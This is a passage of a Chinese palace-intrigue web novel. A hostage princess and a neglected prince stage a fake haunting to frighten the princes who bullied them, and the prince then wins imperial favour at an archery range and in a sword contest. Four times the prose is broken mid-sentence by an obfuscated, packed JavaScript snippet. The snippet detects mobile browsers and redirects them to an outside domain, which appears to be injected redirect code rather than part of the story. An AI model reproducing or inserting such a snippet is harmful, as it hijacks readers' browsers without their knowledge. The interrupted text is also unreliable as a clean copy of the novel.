“混蛋!你又回来做什么!”她暗骂一声,完全不顾他惊慌的神色。 “你还在这,你还在这,那就好,那就好,那还是我记错了,一定是这样!”他神神叨叨的样子倒是吓了杜欢颜一跳,只是不等询问又见他跑走了。 他在心中不停念叨着,兴许刚才只是自己没看清楚,挂错地方了,可跑了没多远,他就又看见了这两个倒霉信物,只是这次不像之前挂在树上,而是墙上,准确来说,是墙上伸出一枝梅花枝,那剑穗和玉佩就挂在枝头。 他忐忑地走上前,将它们连同梅花枝一起摘下,却不想摸了一手湿黏,凑近一看,瞪大了眼睛,冷汗涔涔。 “是,是血!啊!”他尖叫着扔掉手上的东西,一股脑的往前跑,只是没几步,他就踩到了一块石头,摔在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928641|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正当他揉着腿“哎呦”之时,突然从背后伸出一只手,拿着手帕捂在他脸上,还不等他反抗,便两眼一黑晕过去了。 再次醒来,眼前一片黑暗,好在手脚没被束缚,纪晔臣伸出手,却感到一股阻力,好像自己被困在了什么里面,他用力撕扯着,终于将那包裹他的东西撕破,从里面爬了出来。 可外面也是黑漆漆的,只有一点照进来的月光和半截断掉的蜡烛,闪着微薄的光亮。他伸手拿了这蜡烛照过去,发现那困住自己的竟是个破麻袋。 “谁这么大胆,敢用麻袋耍我!我可是皇子!”他痛骂着,只是并未再出现一个人,这声音反而惊动了身旁的东西。感觉脚边有什么动了一下,一时腿都麻了,动弹不得,只能僵硬的回过头,又是个麻袋。 麻袋里发出含糊不清的声音,只能听出是个女孩子。纪晔臣哆嗦地伸出手将其解开,竟是五妹妹! 她处境更惨一点,还被破布堵了嘴,头发也乱糟糟的。纪晔臣将她扶出来,一把扯掉她嘴上的布,听见她大声的喘了口气,接着开始哭诉: “四哥,这是哪啊,我们怎么会在这?” 纪晔臣也怕得要命,还强撑着安慰五公主,发出的声音却是颤颤巍巍的: “我也不知道,我之前去林子里教训了杜欢颜,想走出来却发现一直在迷路,之后就被迷晕了。你又是怎么到的这里?” 那五公主还是接着哭,鼻涕泪水流了一脸, “我按你吩咐的把纪如愿引走了,之后,之后……”她突然抱头尖叫,很是害怕的样子。 “之后怎么了,你说啊!”纪晔臣也无心安慰她了,提高了嗓音想让她快说。 “我,我不是故意的,我把他引走了,之后骂了他几句,可我没想到,我没想到,他居然,直接就掉进了河里,四哥,我真的不是故意的!” “纪如愿掉进河里了?”纪晔臣的角色也愈发苍白,他只是想给他们一个教训,没想要害谁的性命啊!他紧张的吞了吞口水,僵硬的拍拍五公主的肩, “五妹,他落水之时可有他人看见?” 五公主快速地摇着头说道: “没有,当时只有我们两个,可是他落水之后,我太害怕了,急匆匆跑了,不知后来还有没有人看见。” 纪晔臣听闻稍稍放松了些, “别怕,若是他还活着,我们便说这是个小玩笑,他也奈何不了我们,若是他……反正没人看见,那就没人知晓是你做的,若问到我们,就咬死不承认便好。” 纪晔臣话音刚落,远处突然亮起了几盏灯,这也让两人彻底看清了这是个什么地方,一时之间,脸上血色全无,那五公主竟是连哭都忘了,呆若木鸡,失去思考能力。 是废弃的旧祠堂! 前朝曾建过一座祠堂,用于祭祀,后来曾有一妃子,失去孩子后变得疯疯癫癫,某天吊死在祠堂里,后来有人常说那祠堂中半夜有哭声,因此便被封禁了,为何他们二人,会出现在这里! 12. 装神弄鬼 纪晔臣紧张地吞了吞口水,旁边的五公主已经软了身子瘫坐在地上。他一手拽着妹妹的袖子一手扶起她,两人慢吞吞地绕着墙边走,想要寻到出路。 二人摸索着靠近那灯火,昏暗的烛灯照着那残破的大佛像,看一眼都让人浑身发毛。 “四哥,我们是不是撞鬼了……我好害怕。”五公主又开始哭哭啼啼的,她怕极了这诡异的佛像。 “怎么会,我们只不过被人捉弄了,哪会有什么鬼!”纪晔臣嘴上如是说,眼睛却一直低着不敢抬头注视那佛像。 突然有忽远忽近的啼哭声传来,嘶哑凄厉,两人尖叫着在这祠堂里抱头乱窜,也顾不得对方了。 “闭嘴,无知小儿。”有空洞的声音传来,空灵而尖利。 五公主当场被吓晕了过去,剩纪晔臣“扑通”跪下,连连磕头,嘴里不停呢喃着: “佛祖饶命,佛祖饶命,佛祖饶命。” “想让我饶你性命,那你为何不敢抬头看我?” 纪晔臣试探着抬起头,那佛像旁竟又多了几盏灯,直接让他看清了全貌。他被吓得打了个哆嗦,头再次重重地磕下去。 “你们害了人,如今又冒犯了我,如何求得我饶恕?” 纪晔臣身后传来“咚”的两声,他僵硬地转过头,竟是纪如愿与杜欢颜!两人脸色惨白着,胸口已没了起伏。 “杜欢颜,为什么,不,不是我,不是我做的,是五妹,是她!是她让纪如愿落了水,不是我,我没伤害他们!” “是,那小姑娘确实非你直接所害,你只是害得她扭伤了脚无法行动,之后被毒蛇咬伤死了。你说说,我将这码算在你头上,索了你的命,算不算过分?” “求求佛祖,我知道错了,我真的知道错了,我没想害他们,都是我的错,求求您放过我,您要我做什么都可以,我出去之后就求父皇修缮这里,求求您别索我的命!”他将头一个劲的磕在地上,头破血流也无知觉。 “饶了你?可以,只不过我的条件可不止这些,我要你的灵魂与我结契。” “我的,灵魂?”纪晔臣听到前面时明显放松了些,可是听到要用自己的灵魂,他又泄气了。 “是,结契后,我可与你共享视野,你要去行善事,招揽更多我的信徒。若你一再作恶,我便即刻取走你的性命!” “是,是,佛祖大人,都听您的,都听您的。” “你走吧。” 纪晔臣艰难地起身,只是五妹和那两人怎么办,他回头一看,原本地上的三人竟都不见了!自己也没来得及反应,再次被一块布捂了口鼻,晕过去。 再次醒来,他回到了当时鬼打墙的林子,那玉佩和剑穗分别挂在不同的树上,他揉了揉眼,站起身,脚下却好像踩到什么东西,低头一看竟是个石块。 难道自己只是不小心踩了石块,磕到头晕过去,做了个梦吗? 他正疑惑着,远处传来小厮们的声音。 “四殿下!四殿下,您在哪啊!” “我在这!” 一行人乌泱泱跑进来,就被纪晔臣劈头盖脸骂了一顿。 “你们都是白痴吗,都不知道早点来找我!” 那为首的小厮哭丧着脸道: “殿下,您是不知道,我们几个刚才鬼打墙了,怎么都走不过来,喊您也不应……您的头怎么流血了?” 纪晔臣抬手一摸,摸出几丝干涸的血痕,头上还隐隐传来痛感,难道是摔在地上砸出来的吗? “刚才绊倒了石块,跌倒了。你们刚才是说,你们刚才也迷路了?” “是啊殿下,我们瞧您一直没回来,就四处来找,一开始看见了您的剑穗,可是没走几步又看见了,还以为是谁诚心戏弄人。” “你说的剑穗,可是这个?”他伸出手,那小厮一看,瞪大双眼, “没错殿下!就是这个!怎么在您这?” 纪晔臣没回答,反问他:“你说,世上有鬼打墙吗?” “鬼打墙?殿下,您别吓我啊,我胆子小。” “算了,没用的东西,我们走。” 他一甩袖子往前,衣袋处却传来异样的感觉,掏出来一看,竟是祠堂里那半截蜡烛! 纪晔臣浑身血都凉了几分,难道那不是梦,自己真的与那佛像结了契?!五妹呢!五妹哪去了? 他语气转了个调,带着些焦急: “你们快跟我来!” 在河边不远处,果然找到了五妹,而且她似乎也和自己经历了同样的事。看来他们真的去过了那祠堂。那纪如愿与杜欢颜呢?他们二人真的死了吗?! 他不动声色地往河里看去,水波荡漾,看不清是否有人在里面,可若派人大肆去寻,不就暴露自己和五妹害死人了吗! “四哥,我们快走吧,我好怕。”五公主紧紧拽着他,乞求道。 “好,我们走吧。”饶是再怕,此刻也断不能被别人看出来。 送五公主回到她自己宫里,他也回了寝殿,只是仍旧忧思重重,拿出蜡烛左看右看,又和自己宫中的比对,万一是自己顺手拿过来的。 只是那蜡烛脏脏破破的,断不会是他会用的东西,那就只能是祠堂中的了。自己竟真的撞了鬼,还与那东西共享了灵魂! 自己如今只能按它所说,去做善事招揽信徒了吗?都怪五妹,若非她害得纪如愿落了水,他也就不会被牵连。 对啊!纪晔臣一拍桌子,五妹当时晕过去了,所以只有自己结了契!而她从中渔翁得利,真是可恨!他心里盘算着五公主惹下的祸事,不该是自己,她也应该付出代价才对!纪晔臣的眼神越发阴翳,想来是记恨上了五公主。 “你们几个,把野猫溜到远一点的地方去,别让它们咬伤了人。” 淑妃娘娘正指使着几个下人清理着祠堂。 “还有这破麻袋,拿去烧了,别留下痕迹。” 有脸色苍白的人走近,淑妃娘娘冲他们一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928642|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “演得不错嘛,你们两个!”竟是死而复生的纪如愿与杜欢颜! “谁叫他好糊弄呢,不过他做的那陷阱我一眼就看出来了,我可努力装了好久才假意中招摔倒。”杜欢颜撇撇嘴,揶揄着。 “那我这边可容易多了,我一跳下水,那五公主立刻吓得跑远了,都不用我假装在水里挣扎。”纪如愿轻笑着,抬手抹去脸上的面粉。 “你们两个都厉害,快去洗洗吧,这跟小花猫似的。”淑妃娘娘也笑着,又招招手喊来一个人。 “不过我最没想到的是阿若,刚才那尖细的嗓音,着实把我都吓了一跳呢,也难怪四皇子呀,一直磕头。” 阿若红着脸,不好意思道: “我阿娘会唱戏,我以前也和她学了几嗓子,只能发出个尖声调,没想到就派上了用场。” “不过这下啊,他们起码短时间都不敢招惹我们了,毕竟呀,他结了契,要时刻担心自己的灵魂!”杜欢颜挽着阿若,几个人都笑作一团。 “不过话说回来,之前说这里闹鬼,半夜有哭声,莫不就是野猫发情吧?” 淑妃娘娘眨眨眼,突然冷脸低声道:“小欢颜,你相信,世上有鬼吗?” “啊!”阿若叫了一声,挽住了杜欢颜的手。 “娘娘!又开始戏弄上我了!我才不信!阿若别怕,我保护你。”杜欢颜佯装恼怒地嗔怪着,轻轻抚摸着阿若的手为她缓解恐惧。 “好啦好啦,逗你太没意思了,都不害怕的。还是阿若反应像个小姑娘。当年啊,那妃子吊死在这,皇上就嫌这里晦气,不再去了,后来前来拜念的人越来越少,这里也越发破旧,渐渐的就多了些野狸居住,发情时的声音就如同婴儿啼哭,许是被哪个路过的倒霉蛋听见了,就以为是闹了鬼。” “那他可真笨,连猫叫和啼哭都分不清。不过也多亏了这么个谣传,我们才能钻了空子教训了那两人。” 只是日后,他见了我们两个,会不会心里起疑?”纪如愿有点担忧地询问。 “不会不会,他呀,肯定不能直说自己害了你们,这就没法说祠堂的事了,如愿你呢,这几天就时不时咳嗽几声,假装是落水得了风寒,至于小欢颜,你在手腕上点两个红点,远远一瞧不就像蛇咬伤的了吗?最后呀再装出一副无知无觉的样子来,他保准不多问的!”淑妃娘娘一勾唇角,胸有成竹道。 “我还真没看出来,娘娘您鬼点子比我还多呢!要说您端庄大方,还不如说您心性像小孩子哩!” “那有什么,鬼点子多不好吗,要不你们两个可怜虫被人欺负了都不能报复回去。”淑妃也调侃着他们两个,又感慨道: “这宫里头呀,人人都是算计着生活,路过一些个人和你问好,背地里却要给你下毒,这般提防谨慎的生活,我早就过够了呀,还好遇见了你们两个呀,还能陪陪我这老人家,给我找点乐子。” “娘娘才不老呢,以后我和阿愿都陪着您,可就不孤单了。” 13. 争宠 次日呀,那纪晔臣见他们二人如往常一般上学堂,脸色是青一阵白一阵,踯躅了许久,低声说了句“对不起”就快步离开了。 杜欢颜对他的反应满意极了,轻轻拍拍纪如愿的肩膀道: “淑妃娘娘猜得可真准,他还真没刁难我们!” 纪如愿只是轻声应和着,却没有杜欢颜那般欣喜。 “对了阿愿,昨日淑妃娘娘单独和你说了什么呀?” 昨日一切结束后,淑妃娘娘却只让阿若带着杜欢颜先离开,说是自己同纪如愿还有话要讲,杜欢颜本也想留下来听,只是夜色已深,阿若还有些害怕,她便只得陪阿若先行回去,这会儿逮到机会,当然要问问。 “不是什么要紧事。”纪如愿面色如常,只是语气透露着一丝忧愁。 这话杜欢颜可不爱听了,当即嘟起嘴停下脚步,顺带也拦住他, “阿愿!我们不是好朋友嘛?有事就应该一起分担呀!你这样瞒着我,我会觉得我们之间有了罅隙。”杜欢颜嘟囔着,还假意用手抹了抹不存在的眼泪。 “好吧,阿颜,不过真的不是什么要紧事。只是,淑妃娘娘问我,是否要一直这么任人宰割,无法保护自己,更无法保护身边重要的人。”他暗沉的眸子,说到“重要之人”时,罕见的亮了些。 “我告诉娘娘,我不愿意,我不愿再经历这样的事时,只能仰仗其他人,不管是娘娘,亦或是……你。阿颜为我做了这么多事,我又如何能甘心受之呢?” 杜欢颜伸出两根手指点了一下他的额头, “所以这是被娘娘点醒,突然转性了,不当咸鱼而开始争宠了?” “也不算是突然转性,在你救我之时,我就想这么做了。” “可你呀,不是很不喜欢争名夺利嘛?” “阿颜,这不一样,争名夺利为的是那个至高的地位,我这般作为是为了……”他顿了下,眼神不经意望向身边的小姑娘,此时她正忽闪着大眼睛认真听着, “你就当我是为了能讨到进献的点心,拿来给你吃吧。” 杜欢颜忍不住笑了一下, “什么嘛,就为了点心,你可要面对自己那个冷漠的父皇,想想就可怕,不过你想的话,我当然支持!” 又道:“不过,若你不得你父皇宠信也无所谓,等我以后回了容国,把你要过去,这次你来当这个亲善大使,是不是更美好!” 他盯着她的笑颜,眼眸一弯,轻轻低下头:“那请小公主一定要信守承诺呀。不过呢,在这之前,你就先勉为其难的依靠我一下吧。” 杜欢颜看着他的笑颜,忽然觉得一阵恍惚,嘴比脑子先行一步道:“我对于阿愿非常有信心,因为我觉得阿愿比你其他的兄弟都好看多啦!” 纪如愿再次被她这一记直白的赞美搞了个大红脸, “杜欢颜!你又闹我!” “诶?这可是真心话!好啦阿愿,我错了嘛!” 只不过在那之后,纪如愿果真铁了心要得到他父皇看重,愈发刻苦努力,还时常拉着杜欢颜探讨怎么让父皇注意到他。 对此,杜欢颜的回复是,她也不知道,两人干脆一起抱着《质子求生法则》翻阅,只是那上面并没有皇子争宠的办法,倒是有妃子的。好像也未尝不可一试? 若是妃子争宠的方法,总结下来便是,先跟踪,再偶遇,得赏识,得圣宠。好一大段话看下来,纪如愿有些怀疑,杜欢颜倒是恍然大悟起来。 我们杜小公主面对纪三皇子求知的目光,伸出一根手指左右摆摆,又高深莫测地对他说: “这你就不懂了吧,我还真的亲眼见过我父王的其他妃嫔这样做过。” “所以她们成功了?” “没有。” 纪如愿开始觉得让她出主意是个错误了。 杜欢颜又是不紧不慢的说着: “她们不成功是因为我父皇只专情我母后一人,其他人不过是为了稳固朝政随意纳进来的,平时都不会理睬她们,但你父皇不一样啊,他这么多妃子,肯定不是专情的人,这招绝对新奇管用。” “我们举一反三一下,你父皇还有其他的皇子公主,他不可能都照顾得到,那不就和之前说的一样,要得到重视,就得不断的在他面前露脸,展现自己的才华呀!” 纪如愿虽然还是有些将信将疑,但眼下也没有别的办法,还是决定尝试一下,毕竟不管结局如何,都不会比他如今的处境更差了。 他和杜欢颜蹲点了好几天,又去贿赂大太监,终于得知了皇帝要在一日午后去猎场。 这日,纪如愿早早就等候在那里,按杜欢颜的计划,在那皇帝到来之时,御马驰行,待靠近靶心时,将弓弦拉满,箭矢飞射而出,正中靶心。 那皇帝果然被吸引了,眼睛瞧向这边,他又紧接着射出第二箭,第三箭,无不命中,尽显少年英气。 待他慢慢勒马停住,跃下马来。有人在身后拍着掌大喊着好,正是皇帝。 纪如愿略带惊讶的行礼请安,“儿臣给父皇请安,儿臣近日在专攻箭术,今日见武场空旷,方想斗胆一试,不想竟父皇今日会来此,恕儿臣箭术平庸,在此献丑了。” 那虞国皇帝心情大好,“不必向朕请罪,你箭术不错,是哪个宫里的?” “回父皇,儿臣居听竹宫。” 那皇帝喃着这名字,似是在思考听竹宫所居为何人,那边的大太监见状,上前耳语道:“陛下,应是已逝的官女子所出,三皇子,纪如愿。” 皇帝点点头,爽朗一笑:“好,好,不愧是朕的皇子,来人,把朕的弓箭取来,赐给三皇子!” “多谢父皇!” 皇帝赞许的拍拍他的肩膀,正打算说什么,就有太监来报,称已经在等候,便将箭给了纪如愿就离开了。 待皇帝走远后,杜欢颜从很远处的凉亭跑过来。 “怎么样阿愿?他看中你了吗?” 纪如愿把新得的弓箭拿给她看,颇有些无奈道:“父皇赐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928643|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我箭,但是只待了一会儿就离开了,我这样算成功了吗?” 杜欢颜拿着弓箭左看右看,惊喜道: “他都赐给你弓箭了,肯定是赞许你了呀!” “只是他没再多说什么,就离开了,难道不应该多问些什么,或者召见我吗?” 杜欢颜也有些纳闷,不过琢磨了一会儿,开口道: “阿愿,让你用妃子争宠的办法,也没让你真变成妃子,得了皇帝欢喜就能立即侍寝。你如今已经让他知道你了,还得了他称赞,肯定就对你留下印象了。至于后续,我觉得眼下不能急功近利,而应该慢慢的深入人心。” “慢慢的深入人心?意思是,我们之后经常来这偶遇吗” “偶尔得空了再来,不能日日守着,那样未免也太刻意了,而且呀,你也得展现出别的才华,吟诗作词,文武兼具,才能更得重视!” “那要怎么做呢?” 两人都思考着,又都抬起头,异口同声道:“秋日宴!” “我听说秋日宴席,会有即兴作诗的活动,届时还会选出最好的作为榜首,若能在此时一鸣惊人,后续还可免去想方设法制造巧遇的麻烦。” 两人都展颜一笑, “之后还有狩猎宴,以及朝贺宴,你只要在几次宴席都拔得头筹,那在你父皇心里的位置,肯定大大提升,可巧你们年岁已够,这类宴席都能参加,只不过还有一个不可避免的。” 杜欢颜突然抬手抚了抚他皱起的眉,示意他放松些,又接着开口: “只不过你多次崭露头角,其他人绝对不会善罢甘休,恐怕我们私下里的麻烦会更多。” 纪如愿当然知道这其中的麻烦事,父皇年事已高,人人都对那位置虎视眈眈,大皇子和二皇子已然分成两个阵营,此时若再冒出一个他,他们背后的势力断不会坐以待毙。 他也抬起手,在杜欢颜额头上轻轻点了一下: “担心我吗?只是阿颜,我不能总让你和淑妃娘娘护着,明明你作为敌国公主,身份和处境更尴尬危险,却总是想要冲在我身前,你这小姑娘怎么总觉得我有多么脆弱易碎呢? 只是阿颜,这段日子可能要委屈你了,若我引来了麻烦,与我亲近的你,他们肯定也不会放过,我本就已经让你为我承担太多了,不想再连累你了。” 话虽如此,他却远没有自己说的那般坦然,眼神满是落寞,眼巴巴地望着杜欢颜。 杜欢颜想,若是在这时答应了他,恐怕他不会高兴,反而更难过吧。 所以她只是摇摇头:“可我舍不得疏远你,阿愿,不因为别的,只因我想陪着你,可以吗?” 纪如愿的眸光闪了闪,此时的他才是真的长舒一口水,道: “当然好,我自是不怕什么麻烦的,只愿在那时,阿颜能陪着我,我就心满意足了。”说罢又是轻轻掐了掐杜欢颜的脸。 杜欢颜反常的没有拍开他的手,只是轻轻的笑着说“那可要加油啊,如愿殿下。” 14.秋日宴 之后,杜欢颜开始每日对着纪如愿进行训练,从早晨天不亮就把他拔出来练剑,一上午结束再开始文策和诗词。 在杜欢颜又一次打飞他的剑之后,纪如愿苦着脸,“哎,明明你刚来这里的时候,还是我教你,怎么现在我都打不过你了?” 杜欢颜也撇下剑坐在他旁边, “可能是天生的吧,我大哥哥就擅长用剑,大姐姐文策又次次是第一,而二姐,她诗文若称第二,无人称第一,而且私下里,还是京城畅销话本的背后写手,我呢,大概是沾了他们三个一人一点,学得多,不太精。” 杜欢颜想着就思绪飘远,回过神后发现纪如愿在担忧地轻声唤她,一想便知他以为自己又开始想家了,冲他扬了个笑脸, “所以殿下,休息够了,我们继续。” 纪如愿还没反应过来就被她丢了把剑过来,两人再次打在了一起,毫无疑问,结局又是纪如愿落败。这下我们的皇子殿下彻底郁闷了,坐在地上一脸颓败。杜欢颜不知什么时候进了屋子,不一会儿变戏法似的拿出了两根糖葫芦递给了纪如愿。 “我小的时候,父皇担心我,不许我出宫,姐姐忙着朝政也没时间陪我,哥哥从外面回来,总会给我带些民间小吃,我想着这些小吃在虞国皇宫里应该也不常见,之前有外出的宫人,我就央他给我带了份配方回来,尝试了好几次,才差不多做出来,尝尝吧阿愿!” 纪如愿看着糖葫芦,接过来咬了一口“甜甜酸酸的,阿颜好厉害!” “喜欢还有很多哦,所以我们阿愿,不要垂头丧气好不好呀?” 纪如愿被她说得又沉默了,只低头啃着糖葫芦,挨着她坐在一起,“阿颜这般好,我若再有何怨言,怕是天理都难容我了。” “瞎说,阿愿你之前又未曾学过,如今进步已经是飞速了,我这个师父可很是欣慰呀!” 纪如愿的眉头轻轻皱起,语气颇有些无奈:“又成我师父了,杜欢颜。好,小师父,还请您教教我。” 在日复一日的艰苦训练后,终于某次,纪如愿打落了杜欢颜的剑,寒芒直指她。杜欢颜愣了一下,随即欣喜地扑了过去,也没管那剑尖还在眼前,吓得纪如愿赶紧自己撇了剑,被杜欢颜抱了个满怀。 “阿愿阿愿!你现在好厉害!你一定能拔得头筹的!” “笨蛋阿颜,我还没收剑,伤到了该怎么办?” 杜欢颜闷声一笑:“我有自信!” “又在说什么胡话了。”纪如愿侧过脸任由她拥着,也轻笑出声: “也不算胡话,我确实不会辜负你的期望。” 其实她是自信阿愿一定会为她丢剑,不过期待,也不算错。 虞国的秋日宴席有些独特,适龄皇子或臣子可在殿上进行比武,魁首可参加半月后的猎宴。 秋日宴较春日宴席形式上会更加随意,没有那些异国来使,更多的是皇子公主和世家公子小姐们,欣赏表演,吟诗比武。 所以座位相比之前也可以随意些,纪如愿早早就拉着杜欢颜到了殿内,挑了一处不远不近的位置坐下。后面陆陆续续有人进来,杜欢颜上下摆了摆手,两人弯着腰低语着: “阿愿,这些世家公子也会参与比试吗?学堂中未曾见过他们诶。” “他们在另一处学堂上课,与我们离得不算近,而且除学堂上课外,无事之时也不会有人随意入宫,你自然是见不到他们的。” “那不就坏了!”杜欢颜直接喊出了声,旁边有人投来疑惑的目光,他两个又装作没事人一般挥挥手,用眼神表示抱歉,杜欢颜复又低下头凑过去问: “那我们都不知道他们什么水平,这样贸然上去比试,会不会不太妥当啊?” 纪如愿有些哭笑不得,漂亮的桃花眼中盛满了无可奈何。 “怎么又不妥当了,小公主先前还说对我有信心,如今看来呀,哎!”他故意长叹一声,似是控诉她低估了自己。 “阿愿你别打岔,我跟你说正经的呢!虽然不知道对方实力如何,但是你只要放轻松,尽力而为就好,阿愿取得什么名次我都高兴的!” 明明就忧心坏了,还在安慰自己,这小公主之前还势要让自己拿到魁首,怎么突然就泄气了。 纪如愿觉着好笑,但是他想逗逗杜欢颜,也故作烦恼,惹得杜欢颜也看不下去歌舞,想方设法的逗他开心让他放松。 歌舞表演末了,比武开始。临纪如愿上台,他也不再逗弄杜欢颜了,短暂地握了一下她的手轻轻晃晃,“别担心,你等着恭喜我就好了。” 而他的对手竟是那二皇子—纪延澈。 且不说纪延澈大了他三岁,武术实操比他多上许多,内廷早已为他安排了专门的武学师父,断不至于和纪如愿争,这不是欺负人吗?! 报复!这绝对是报复!先前看他并未因自己妹妹而过分刁难他们二人,她还以为这是个难得听得进理的,敢情是在这里等着他们。杜欢颜在心里狂怒着,只是眼下纪如愿已经上去了,万没有再退回来的道理,不然岂不是遭人笑话,可若这二皇子发了狠劲,阿愿招架不住可如何是好。她的心都拧成了一团,紧张地盯着上面的情况。 纪如愿倒是风轻云淡的,抬手作了个揖,道:“皇兄,臣弟失礼了。” 纪延澈也面色坦然地回他一礼,随后却是骤然发难,剑锋直指纪如愿。纪如愿也不惧,抬剑便迎了上去。 二人打得是你来我往,二皇子攻势猛烈,一招一式都像是要下死手,纪如愿被动地挥剑接招,每一击都伴随着清脆的回响,一时剑光如织,台下的杜欢颜更是恨不得自己提剑上去替他打。 终于,纪如愿只得堪堪接住纪延澈的一招,再无挥剑之势,胜局已定,那二皇子轻蔑地冲他笑笑,抬剑要劈下去,纪如愿却突然起势,趁纪延澈怔愣之时,侧身举剑,于空中快速挽了个利落的剑花,将纪延澈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14933037|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑挑飞。 局势逆转,场上一时都寂静了,连杜欢颜都看得有些发直,这个攻其不备,用得还真是妙极。 “好,好!三皇子不仅箭术了得,这个剑术竟也如此精湛,今天的比武很精彩,朕很满意,来人,两位皇子都重赏!” 纪如愿领了赏,毫无疑问拔得了头筹,拿到了猎宴的资格。杜欢颜也是喜出望外,待宴席结束,众人都走后,拉着纪如愿一路蹦蹦跳跳的。 “阿愿!好厉害!我这个师父都佩服了,你从哪学得这法子?” 纪如愿挑了挑眉,露出一抹狡黠的笑容,道: “跟你学的呀,之前你抢我点心,不都是先分散我的注意,再趁我不备直接开溜嘛!” “好啊纪如愿,都敢揶揄你师父了!”说着还作势要打他。 “阿颜师父饶命,徒儿不敢了。”纪如愿顺着她演了一段,又正经道:“二哥武艺比我强,只靠寻常剑法我确实难以赢他,所以想了个声东击西的策略,没想到他就这么上钩了。” “哦,我们阿愿如今思维都如此敏捷了,甚好甚好!”杜欢颜还是故作老成,还抬手赞许地拍拍他的肩。 两人嬉闹一路,正说着要去给淑妃娘娘也报个喜,身后忽然传来破空的声音,接着纪如愿的脸侧便被划出了一道细长的血痕。 “谁!”两人皆是紧张回头,看到那人后甚是吃惊。 作案者并未逃窜,甚至光明正大的站在他们面前。 “我说你怎么武艺增长的如此之快,原来,是师从了我们的敌国小公主。”纪延澈随意的又摘了片叶子,下一秒那叶子却如同利刃一般冲二人飞来。 杜欢颜拿身前团扇飞速一挥,将那叶片飞刀转了个弯打在树上。说来,这团扇还是方才坐在旁边的一个世家小姐送她的,她可欢喜了,方才却被那叶子划出了痕迹,杜欢颜痛心疾首,怒骂道:“你做什么伤害手工艺品!这是人家小姐送我的好不好!” 等下,重点错了,纪如愿悄声提醒她: “阿颜,你自己抬手接下的,他原本是冲我来的。” 有点尴尬,复又开口:“我是说,你做什么搞偷袭,这么见不得人的手段用在自己弟弟身上,输了就这么让你难以接受吗?!” 纪延澈没打中他,本就气恼,如今被杜欢颜一激,气得拿手指着纪如愿,也开口骂道:“难道他的招数就光彩吗?不过是趁我晃神使诈,没有真本事,以为被父皇夸几句就得意地翘尾巴,你不过是个下贱的宫女生的下贱儿子,一辈子得不了宠爱!” 他又指着杜欢颜,接着道:“战败国质子,你也别得意了,不过是两个扫把星凑到一块,以为能掀起腥风血雨,还是担心担心你自己吧!” 破空声再次响起,这次却是更快更准,直接划破纪延澈颈部皮肤,只差毫厘便可伤及血脉。 纪延澈登时闭了嘴,捂住颈部。 “谁允许你说她了。” 15.贵妃娘娘 “纪如愿!你疯了吗!”纪延澈捂着脖子,心有余悸道。若不是他刚刚侧过了头,那叶片已经割破了他的脉搏。 纪如愿不置可否,眼神冰冷的看着他, “纪延澈,我敬你一声皇兄,几次三番的忍让你,你却屡次三番,变本加厉。今日你大可以去父皇那里告状,说你不服气输给哟,便使诈伤了我,我又伤了你,猜猜看父皇还会不会无条件站在你那边,你如此不成气候,贵妃娘娘又能保你到几时?” 纪延澈眼神越发阴翳,恨恨地咬了咬牙,道:“呵,说这么多冠冕堂皇的话,以为我不知道你是为了什么么?本皇子今日验收三弟最近的学习成果,甚是满意,希望你,可以多高兴一阵子。”说罢一甩袖子气愤地离开了。 纪如愿回头,本想向杜欢颜邀个功,却猝不及防吃了她一记爆栗。 “纪如愿!你傻的吧!怎么往人脖颈上打啊!万一打歪了咱们两个今天都得完蛋!” 纪如愿揉着脑袋,立刻垂下了眼眸,神色委屈巴巴, “他挖苦你,我不爱听,所以直接就下手了,再说了我瞄准了,心里有数的!”话音未落又是一记爆栗。 “你哪里像心里有数的样子啊!而且你怎么就笃定他绝对不会同你父皇告状?” “嗯……阿颜你猜。” “……我不猜,都这个时辰了,还要去找淑妃娘娘呢,快走吧!”杜欢颜推搡着纪如愿就走向了淑妃娘娘宫院。 